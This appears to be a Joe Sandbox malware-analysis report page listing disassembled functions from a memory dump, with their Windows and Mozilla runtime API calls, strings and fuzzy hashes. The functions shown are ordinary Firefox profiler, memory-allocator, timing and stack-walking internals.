Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: 72829f73acd21fb0180eabddd72d7812c712abba50459b65ec3e2ac0cf66e5e2
Instruction ID: 4f12240898191e06a9a98a8208814d59f0c716726865165dc7ce41f12c97e911
Opcode Fuzzy Hash: 72829f73acd21fb0180eabddd72d7812c712abba50459b65ec3e2ac0cf66e5e2
Instruction Fuzzy Hash: A7810270A007009FDB00DF64D840AAEB7B5BFA534CF44856DE8499BB51EB31D989CBA2

Function 6CA0EE40 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 166threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C9D4A68), ref: 6CA0945E
Part of subcall function 6CA09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CA09470
Part of subcall function 6CA09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CA09482
Part of subcall function 6CA09420: __Init_thread_footer.LIBCMT ref: 6CA0949F

GetCurrentThreadId.KERNEL32 ref: 6CA0EE60
AcquireSRWLockExclusive.KERNEL32(6CA4F4B8), ref: 6CA0EE6D
ReleaseSRWLockExclusive.KERNEL32(6CA4F4B8), ref: 6CA0EE92
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6CA0EEA5
CloseHandle.KERNEL32(?), ref: 6CA0EEB4
free.MOZGLUE(00000000), ref: 6CA0EEBB
GetCurrentThreadId.KERNEL32 ref: 6CA0EEC7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA0EECF

Part of subcall function 6CA0DE60: GetCurrentThreadId.KERNEL32 ref: 6CA0DE73
Part of subcall function 6CA0DE60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C9D4A68), ref: 6CA0DE7B
Part of subcall function 6CA0DE60: ?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C9D4A68), ref: 6CA0DEB8
Part of subcall function 6CA0DE60: free.MOZGLUE(00000000,?,6C9D4A68), ref: 6CA0DEFE
Part of subcall function 6CA0DE60: ?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6CA0DF38

Part of subcall function 6C9FCBE8: GetCurrentProcess.KERNEL32(?,6C9C31A7), ref: 6C9FCBF1
Part of subcall function 6C9FCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9C31A7), ref: 6C9FCBFA

GetCurrentThreadId.KERNEL32 ref: 6CA0EF1E
AcquireSRWLockExclusive.KERNEL32(6CA4F4B8), ref: 6CA0EF2B
ReleaseSRWLockExclusive.KERNEL32(6CA4F4B8), ref: 6CA0EF59
GetCurrentThreadId.KERNEL32 ref: 6CA0EFB0
AcquireSRWLockExclusive.KERNEL32(6CA4F4B8), ref: 6CA0EFBD
ReleaseSRWLockExclusive.KERNEL32(6CA4F4B8), ref: 6CA0EFE1
GetCurrentThreadId.KERNEL32 ref: 6CA0EFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA0F000

Part of subcall function 6CA094D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CA094EE
Part of subcall function 6CA094D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CA09508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6CA0F02F

Part of subcall function 6CA0F070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CA0F09B
Part of subcall function 6CA0F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6CA0F0AC
Part of subcall function 6CA0F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6CA0F0BE

Strings

[I %d/%d] profiler_pause, xrefs: 6CA0F008
[I %d/%d] profiler_stop, xrefs: 6CA0EED7

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: CurrentThread$ExclusiveLock$Release$AcquireTime_getpidgetenv$ProcessStampV01@@Value@mozilla@@free$?profiler_time@baseprofiler@mozilla@@BufferCloseEnterExit@mozilla@@HandleInit_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@Now@ObjectProfilerRegisterSingleStamp@mozilla@@TerminateV12@_Wait__acrt_iob_func__stdio_common_vfprintf
String ID: [I %d/%d] profiler_pause$[I %d/%d] profiler_stop
API String ID: 16519850-1833026159
Opcode ID: fca0f96d76564b7ad98a705b0ba930cdcb98a83e91c315b3a0273c861069d103
Instruction ID: 791fd35c16dc4c91d180d306ada6b7f0e842edef2ffa5681f85b0b07df9d710a
Opcode Fuzzy Hash: fca0f96d76564b7ad98a705b0ba930cdcb98a83e91c315b3a0273c861069d103
Instruction Fuzzy Hash: 675137357017129FDB087B64FC09B9937B4EB463ADF14C22DE95583B40DB72488AC7A2

Function 6C9FD010 Relevance: 31.7, APIs: 13, Strings: 5, Instructions: 215COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6CA4E804), ref: 6C9FD047
GetSystemInfo.KERNEL32(?), ref: 6C9FD093
__Init_thread_footer.LIBCMT ref: 6C9FD0A6
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6CA4E810,00000040), ref: 6C9FD0D0
InitializeCriticalSectionAndSpinCount.KERNEL32(6CA4E7B8,00001388), ref: 6C9FD147
InitializeCriticalSectionAndSpinCount.KERNEL32(6CA4E744,00001388), ref: 6C9FD162
InitializeCriticalSectionAndSpinCount.KERNEL32(6CA4E784,00001388), ref: 6C9FD18D
InitializeCriticalSectionAndSpinCount.KERNEL32(6CA4E7DC,00001388), ref: 6C9FD1B1

Strings

MALLOC_OPTIONS, xrefs: 6C9FD0CB
Compile-time page size does not divide the runtime one., xrefs: 6C9FD26D
: (malloc) Unsupported character in malloc options: ', xrefs: 6C9FD322
MOZ_CRASH(), xrefs: 6C9FD277
<jemalloc>, xrefs: 6C9FD268, 6C9FD311

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpin$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()
API String ID: 2957312145-326518326
Opcode ID: 09ff184e5417aaded3b74e5528a738700f4b07b5ccc421ada1df90598eec909f
Instruction ID: 859ef203c0cdb83cbe26443ebd5ec9f94882f65d921387193c2d6b116ea5c0a1
Opcode Fuzzy Hash: 09ff184e5417aaded3b74e5528a738700f4b07b5ccc421ada1df90598eec909f
Instruction Fuzzy Hash: 6881B071B013429BEB08EF68D844AA9B7B9EB5631CF14C129E92197B80D772D8478BD1

Function 6C9D5E60 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C9D5E9D

Part of subcall function 6C9E5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C9E56EE,?,00000001), ref: 6C9E5B85
Part of subcall function 6C9E5B50: EnterCriticalSection.KERNEL32(6CA4F688,?,?,?,6C9E56EE,?,00000001), ref: 6C9E5B90
Part of subcall function 6C9E5B50: LeaveCriticalSection.KERNEL32(6CA4F688,?,?,?,6C9E56EE,?,00000001), ref: 6C9E5BD8
Part of subcall function 6C9E5B50: GetTickCount64.KERNEL32 ref: 6C9E5BE4

GetCurrentThreadId.KERNEL32 ref: 6C9D5EAB
GetCurrentThreadId.KERNEL32 ref: 6C9D5EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C9D5ECF
memcpy.VCRUNTIME140(00000000,GeckoMain,00000000), ref: 6C9D6017

Part of subcall function 6C9C4310: moz_xmalloc.MOZGLUE(00000010,?,6C9C42D2), ref: 6C9C436A
Part of subcall function 6C9C4310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6C9C42D2), ref: 6C9C4387

moz_xmalloc.MOZGLUE(00000004), ref: 6C9D5F47
GetCurrentProcess.KERNEL32 ref: 6C9D5F53
GetCurrentThread.KERNEL32 ref: 6C9D5F5C
GetCurrentProcess.KERNEL32 ref: 6C9D5F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C9D5F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6C9D5F27

Part of subcall function 6C9DCA10: mozalloc_abort.MOZGLUE(?), ref: 6C9DCAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9D55E1), ref: 6C9D5E8C

Part of subcall function 6C9DCA10: malloc.MOZGLUE(?), ref: 6C9DCA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9D55E1), ref: 6C9D605D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9D55E1), ref: 6C9D60CC

Strings

GeckoMain, xrefs: 6C9D5ECE, 6C9D6015

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID: GeckoMain
API String ID: 3711609982-966795396
Opcode ID: 311e8a6fb47baf9cc3f5a1a83181a610783f88ca435eef744fd163cca911ba2f
Instruction ID: c3d43083195419d40a6cd10567ed0ab9a7f3fb71259a576f49941b8560b7f1a7
Opcode Fuzzy Hash: 311e8a6fb47baf9cc3f5a1a83181a610783f88ca435eef744fd163cca911ba2f
Instruction Fuzzy Hash: 1071D2B0605B41DFD704DF29D480A6ABBF0FF69308F14896DE4868BB52D731E849CB92

Function 6C9D9590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C9C31C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6C9C3217
Part of subcall function 6C9C31C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6C9C3236
Part of subcall function 6C9C31C0: FreeLibrary.KERNEL32 ref: 6C9C324B
Part of subcall function 6C9C31C0: __Init_thread_footer.LIBCMT ref: 6C9C3260
Part of subcall function 6C9C31C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6C9C327F
Part of subcall function 6C9C31C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C9C328E
Part of subcall function 6C9C31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C9C32AB
Part of subcall function 6C9C31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C9C32D1
Part of subcall function 6C9C31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C9C32E5
Part of subcall function 6C9C31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C9C32F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C9D9675
__Init_thread_footer.LIBCMT ref: 6C9D9697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C9D96E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C9D9707
__Init_thread_footer.LIBCMT ref: 6C9D971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C9D9773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C9D97B7
FreeLibrary.KERNEL32 ref: 6C9D97D0
FreeLibrary.KERNEL32 ref: 6C9D97EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C9D9824

Strings

Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C9D9670
NtMapViewOfSection, xrefs: 6C9D9701
ntdll.dll, xrefs: 6C9D96E3
MapViewOfFileNuma2, xrefs: 6C9D97B1

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: 07242641d31035addc6fe0773c0fb86251421b68704a2a6cf6a60e851b07c205
Instruction ID: 7601f462a53225a024da098dec9765076e4bb882266c263ed4a12399b0f1c701
Opcode Fuzzy Hash: 07242641d31035addc6fe0773c0fb86251421b68704a2a6cf6a60e851b07c205
Instruction Fuzzy Hash: 7B61D471600702AFDF04FF68DD94B9A7BB4EB4A718F02C119E91593740EB35E846CBA1

Function 6C9D7FD0 Relevance: 24.2, APIs: 16, Instructions: 166COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(000000FF,00000000,00000000,?), ref: 6C9D8007
moz_xmalloc.MOZGLUE(?,000000FF,00000000,00000000,?), ref: 6C9D801D

Part of subcall function 6C9DCA10: malloc.MOZGLUE(?), ref: 6C9DCA26

memset.VCRUNTIME140(00000000,00000000,?,?), ref: 6C9D802B
K32EnumProcessModules.KERNEL32(000000FF,00000000,?,?,?,?,?,?), ref: 6C9D803D
moz_xmalloc.MOZGLUE(00000104,000000FF,00000000,?,?,?,?,?,?), ref: 6C9D808D

Part of subcall function 6C9DCA10: mozalloc_abort.MOZGLUE(?), ref: 6C9DCAA2

memset.VCRUNTIME140(00000000,00000000,00000104,?,?,?,?,?), ref: 6C9D809B
GetModuleFileNameW.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6C9D80B9
moz_xmalloc.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C9D80DF
memset.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9D80ED
wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9D80FB
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9D810D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C9D8133
free.MOZGLUE(00000000,000000FF,00000000,?,?,?,?,?,?), ref: 6C9D8149
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?), ref: 6C9D8167
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 6C9D817C
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9D8199

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc$EnumModulesProcess$ErrorFileLastModuleNamemallocmozalloc_abortwcscpy_s
String ID:
API String ID: 2721933968-0
Opcode ID: 82b82e70f1cb287286c805251ce7a799258b9ea54ecae0f5092d49a8c9bde1f2
Instruction ID: 3ebd66bbaef963a07e05e4472b2939b8939209e67c7ee8732fe05b9ec98c79c4
Opcode Fuzzy Hash: 82b82e70f1cb287286c805251ce7a799258b9ea54ecae0f5092d49a8c9bde1f2
Instruction Fuzzy Hash: 2151C6B1E00214ABDB00DFA9DC84AEFB7BDAF59268F154125E815F7741E730E908CBA5

Function 6CA26660 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6CA4F618), ref: 6CA26694
GetThreadId.KERNEL32(?), ref: 6CA266B1
GetCurrentThreadId.KERNEL32 ref: 6CA266B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6CA266E1
EnterCriticalSection.KERNEL32(6CA4F618), ref: 6CA26734
GetCurrentProcess.KERNEL32 ref: 6CA2673A
LeaveCriticalSection.KERNEL32(6CA4F618), ref: 6CA2676C
GetCurrentThread.KERNEL32 ref: 6CA267FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6CA26868
RtlCaptureContext.NTDLL ref: 6CA2687F

Strings

WalkStack64, xrefs: 6CA26890

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64
API String ID: 2357170935-3499369396
Opcode ID: 477795ad52590143d2b1d2caf0c0c92abdf7ca4322f04607e93f0337700a3298
Instruction ID: 164a54efb146824f46653b68913d6aa5d55d2d32134e279ae614e50ebffdc126
Opcode Fuzzy Hash: 477795ad52590143d2b1d2caf0c0c92abdf7ca4322f04607e93f0337700a3298
Instruction Fuzzy Hash: 3751DD70A0A311AFDB14DF24D844B9EBBF0BF89718F08892DF49887740D775E4498B92

Function 6CA0DE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C9D4A68), ref: 6CA0945E
Part of subcall function 6CA09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CA09470
Part of subcall function 6CA09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CA09482
Part of subcall function 6CA09420: __Init_thread_footer.LIBCMT ref: 6CA0949F

GetCurrentThreadId.KERNEL32 ref: 6CA0DE73
GetCurrentThreadId.KERNEL32 ref: 6CA0DF7D
AcquireSRWLockExclusive.KERNEL32(6CA4F4B8), ref: 6CA0DF8A
ReleaseSRWLockExclusive.KERNEL32(6CA4F4B8), ref: 6CA0DFC9
GetCurrentThreadId.KERNEL32 ref: 6CA0DFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA0E000
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C9D4A68), ref: 6CA0DE7B

Part of subcall function 6CA094D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CA094EE
Part of subcall function 6CA094D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CA09508

Part of subcall function 6C9FCBE8: GetCurrentProcess.KERNEL32(?,6C9C31A7), ref: 6C9FCBF1
Part of subcall function 6C9FCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9C31A7), ref: 6C9FCBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C9D4A68), ref: 6CA0DEB8
free.MOZGLUE(00000000,?,6C9D4A68), ref: 6CA0DEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6CA0DF38

Strings

<none>, xrefs: 6CA0DFD7
[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6CA0E00E
[I %d/%d] locked_profiler_stop, xrefs: 6CA0DE83

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: f74a9fa0809c170d08e87ffe4f837abcabb7137fcb344ef77a9f7ac490de9d25
Instruction ID: ad5dca33e3ae65792b6e3337f3579598f0df672025dc0268d9d77910a49c383a
Opcode Fuzzy Hash: f74a9fa0809c170d08e87ffe4f837abcabb7137fcb344ef77a9f7ac490de9d25
Instruction Fuzzy Hash: 20410936B027129FDB14AF69EC047AE7775EB8535CF14C119E90987B41CB32988AC7E1

Function 6CA1D4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CA1D4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CA1D4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CA1D52A
GetCurrentThreadId.KERNEL32 ref: 6CA1D530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CA1D53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CA1D55F
free.MOZGLUE(00000000), ref: 6CA1D585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6CA1D5D3
GetCurrentThreadId.KERNEL32 ref: 6CA1D5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CA1D605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CA1D652
GetCurrentThreadId.KERNEL32 ref: 6CA1D658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CA1D667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CA1D6A2

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: 050bf2662eab762cb4b875d5aa160751365a7cc175419d0fa0912873d8a8a999
Instruction ID: 1fc49bc270b9f1c21e3b8e80915a3295df748e0a1bec2096f63a229c451db4cf
Opcode Fuzzy Hash: 050bf2662eab762cb4b875d5aa160751365a7cc175419d0fa0912873d8a8a999
Instruction Fuzzy Hash: 75516C71A04B06DFC704DF35C484A9ABBB4FF89358F10862EE85A87B11DB31E985CB91

Function 6C9E5670 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6C9E56D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C9E56E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6C9E56F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6C9E5744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6C9E57BC
GetTickCount64.KERNEL32 ref: 6C9E58CB
EnterCriticalSection.KERNEL32(6CA4F688), ref: 6C9E58F3
__aulldiv.LIBCMT ref: 6C9E5945
LeaveCriticalSection.KERNEL32(6CA4F688), ref: 6C9E59B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6CA4F638,?,?,?,?), ref: 6C9E59E9

Strings

MOZ_APP_RESTART, xrefs: 6C9E56CC

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
